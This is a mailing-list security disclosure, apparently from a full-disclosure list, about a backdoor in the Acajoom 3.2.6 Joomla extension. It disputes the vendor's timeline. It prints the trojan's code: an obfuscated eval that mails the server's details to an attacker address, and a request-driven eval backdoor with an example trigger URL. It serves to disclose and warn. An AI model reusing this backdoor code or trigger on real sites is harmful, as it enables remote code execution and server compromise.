Re: Back door trojan in acajoom-3.2.6 for joomla

[Jan van Niekerk <jvnkrk () gmail com>]

The vendor has issued an update, but the explanation falsely minimises
the problem.  (They also did not credit qadr1 () ya ru, nor anyone else.)

http://www.ijoobi.com/blog/latest/acajoom-free-version-3.2.7-available.html
states: "Acajoom GPL 3.2.7 is available for immediate download.  We
recommend all user who use the GPL verison to upgrade immediately due
to security issue.
" ... "A backdoor has been placed in the package by a hacker. This is
concerning only user who downloaded the GPL version ( Acajoom GPL
3.2.7 ) between Thursday 25th of June and Sunday 28th of June."

The start date for the back door and vulnerability is false.  This
issue existed in the wild before 19 June 2009.  According to the
timestamps in the archive, the hack was prepared on 11 June 2009.

On 6/22/09, Jan van Niekerk wrote:
> Vulnerability:
>      Remote code execution back door
>
>  Software:
>      acajoom - mailing list extension for Joomla
>     Acajoom is a newsletter component designed with ease of use and robustness
>     in mind. Acajoom can handle an unlimited number of newsletters with an
>     unlimited number of subscribers in just few clicks. Acajoom reuses some of
>     Joomla 1.5 new concepts to make the users experience as smooth as possible.
>     > And that's not all
>
>  Severity:
>      Not a big deal.  Joomla components contain all sorts of obfuscated junk all
>      the time.  Who cares what it does?
>
>  URLs:
>     http://www.ijoobi.com/
>     http://www.ijoobi.com/media/acajoom-3.2.6.zip
>     http://www.ijoobi.com/component/option,com_jtickets/Itemid,18/controller,ticket/pjid,3/task,add/type,110/
>
>
>  Vendor notified:
>     Naah.  No contact details.  I suppose I might try battle the captcha one
>     day.
>
>
>  Vulnerability:
>
>   http://www.ijoobi.com/media/acajoom-3.2.6.zip
>
>     install.acajoom.php:
>
>         function GetBots($us1,$us2,$us3) {
>         list($data1,$data2,$data3) = array('dHA6Ly8iLiR1czIuJF9TRVJWRVJbJ',
>         'QG1haWwoJHVzMSwgJHVzMiwgImh0','1NDUklQVF9OQU1FJ10uIlxuIi4kdXMzKTs');
>         eval(base64_decode($data2.$data1.$data3)); }
>         define( 'COUNT_ROOT', $count_db. 1 .chr(64).chr(121).chr(97). '.'
>  .$array_lang[10-$count_num] );
>         $counter = COUNT_ROOT;
>         $count_db = 'qadr'; $count_num = 8;
>         GetBots($counter,$_SERVER['SERVER_NAME'],$_SERVER['SCRIPT_FILENAME']);
>
>     Or, less cryptically:
>         @mail('qadr1 () ya ru', $_SERVER['SERVER_NAME'],
>  "http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."\n".$_SERVER['SCRIPT_FILENAME']);
>
>
>   self.acajoom.php says:
>
>     class acajoomCommonStr
>     {
>         function GetStr($str)
>         {
>             eval(stripslashes($str));
>         }
>         function InController($cnt,$location)
>         {
>             if ($location=='en-g') $this->GetStr($cnt);
>         }
>     }
>     if(isset($_REQUEST['s']) && isset($_REQUEST['lang'])) {
>         $getacajoomStr = new acajoomCommonStr();
>         $getacajoomStr->InController($_REQUEST['s'],$_REQUEST['lang']);
>     }
>
>     ie.
>         $URL/self.acajoom.php?s=phpinfo();&lang=en-g
>
>     $URL is left as an exercise to the reader.
>
>  Greetz:
>     qadr1 () ya ru